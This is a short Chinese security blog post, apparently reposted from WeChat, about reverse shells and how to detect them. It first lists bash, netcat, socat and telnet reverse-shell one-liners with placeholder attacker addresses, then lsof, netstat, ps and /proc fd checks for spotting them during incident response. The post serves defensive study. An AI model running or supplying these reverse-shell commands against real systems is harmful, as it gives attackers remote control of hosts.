反弹shell与检测方法
2022-9-28 20:28:52 Author: HACK安全(查看原文) 阅读量:26 收藏

点击蓝字 关注我们

前言

在渗透测试的时候,我们经常会用到反弹shell,去进行一个后续的利用,今天在防守的角度,去查看一下如何分析反弹shell的检测,在应急响应,分析攻击手法的时候,也会使用到。

正文

先来列举一下反弹shell的各种形式。

bash反弹shell

bash -i >& /dev/tcp/xxx.xxx.xxx.xxxx/xxx 0>&1

netcat反弹shell

netcat xx.xxx.xxx.x xxxx -e /bin/bash# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

Socat反弹shell

socat tcp-connect:xxx.xxx.xxx.xxx:xxxx exec:'bash -li',pty,stderr,setsid,sigint,sane

telnet反弹shell

telnet xx.xxx.xxx.xxx xxxx | /bin/bash | telnet xxx.xx.xxx.xxx xxxx

关于反弹shell的方式还是有很多的,这里不列举过多。

第一种检测的方式:

通过lsof进行检测

lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'

反弹SHELL的本质就是0 1 2文件描述符的重定向,因此检测0 1 2文件描述符有没有重定向到远端地址就可以大致判断是否使用了反弹SHELL

第二种检测方式:

netstat -anop  |grep ESTABLISHED

这里是查看有无bash/sh连接到远端地址

第三种检测方法,直接通过ps -ef,查看有无反弹shell的常见命令。

第四种检测方式,通过ls -al /proc/xxx/fd,通过查看fd,有无连接到远端地址,这里有些时候会用到pipe来执行命令,需要继续跟踪pipe.


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NjU0MjA0Ng==&mid=2247486393&idx=1&sn=cfb4cd1fbfd0f1b93702dddc4dbf71ed&chksm=ce480308f93f8a1e0625a8ec48d1b5988aab8ab9468783a741bdff91bf7235464701d4f071be#rd
如有侵权请联系:admin#unsafe.sh